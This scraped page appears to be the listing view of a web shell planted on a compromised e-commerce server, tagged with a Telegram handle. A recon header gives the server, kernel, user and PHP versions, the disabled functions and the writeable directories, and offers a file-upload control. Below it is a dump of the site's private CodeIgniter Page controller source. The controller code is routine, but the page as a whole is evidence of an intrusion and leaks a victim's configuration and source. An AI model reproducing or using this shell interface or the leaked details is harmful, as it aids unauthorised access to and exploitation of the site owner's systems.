https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /var/www/laciasmara.com/public_html/shop/application/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/laciasmara.com/public_html/shop/application/controllers/Page.php
<?php defined('BASEPATH') or exit('No direct script access allowed');

class Page extends Public_Controller
{

	public function __construct()
	{
		parent::__construct();
		$this->load->model('Top_banner_m');
		$this->load->model('Review_m');
		$this->load->model('customer_m');
		$this->load->model('Category_m');
		$this->load->model('Statistic_m');
		$this->load->library('GoogleClient');
		$this->load->library('VisitorTracking');
		$this->load->library('session');
		$this->load->model('Footer_m');

		$loginUrl = $this->googleclient->getLoginUrl();
		$this->data_footer['googleUrl'] = $loginUrl;
	}

	public function get($alias = NULL)
	{
		$this->load->helper('url');
		$this->visitortracking->trackVisitor();

		$activeBanners = $this->Top_banner_m->get_active_banners();
		$websiteData = $this->db->select('website_icon, browser_title, meta_description')
			->from('configuration')
			->where('id_configuration', 1)
			->get()
			->row();
		$all_pages = $this->db->select('page_title, page_title_en, alias, alias_en')
			->from('pages')
			->where('status', '1')
			->order_by('priority', 'ASC')
			->get()
			->result_array();
		$page = $this->db->select('*')
			->from('pages')
			->group_start()
			->where('alias', $alias)
			->or_where('alias_en', $alias)
			->group_end()
			->where('status', 1)
			->get()
			->row();

		if ($this->session->userdata('site_lang') == 'english') {
			$this->lang->load('homepage', 'english');
			$this->lang->load('mainpage', 'english');
			$title = $page->page_title_en;
		} else {
			$this->lang->load('homepage', 'indonesian');
			$title = $page->page_title;
			$this->lang->load('mainpage', 'indonesian');
		}

		if ($alias == NULL) {
			show_404();
		} else if (!$page) {
			show_404();
		}


		$this->data_header = [
			'website_icon' => $websiteData->website_icon,
			'browser_title' => $websiteData->browser_title . ' - ' . $title,
			'meta_description' => $websiteData->meta_description,
			'banners' => $activeBanners,
			'logo_path' => 'https://storage.googleapis.com/laciasmara-photos/laciaasmara_assets/laciasmara_landing_page/laciasmara_landing_page_logo.webp',
			'footer_categories' => $this->Footer_m->get_all_categories(),
			'footer_social_media' => $this->Footer_m->get_social_media(),
			'footer_payment_methods' => $this->Footer_m->get_payment_methods(),
			'footer_asmaradoor' => $this->Footer_m->get_asmaradoor(),
			'footer_bottom' => $this->Footer_m->get_footer_bottom()
		];

		$this->data_footer['popular_categories'] = $this->Category_m->get_footer_popular_categories();
		$this->data_footer['trending_searches'] = $this->Statistic_m->get_trending_searches();

		$this->load->view("themes/3/header_new", $this->data_header);
		$this->load->view("themes/3/page", [
			'pages' => $page,
			'all_pages' => $all_pages
		]);
		$this->load->view("themes/3/footer_new", $this->data_footer);
	}
}

https://t.me/RX1948 - 2025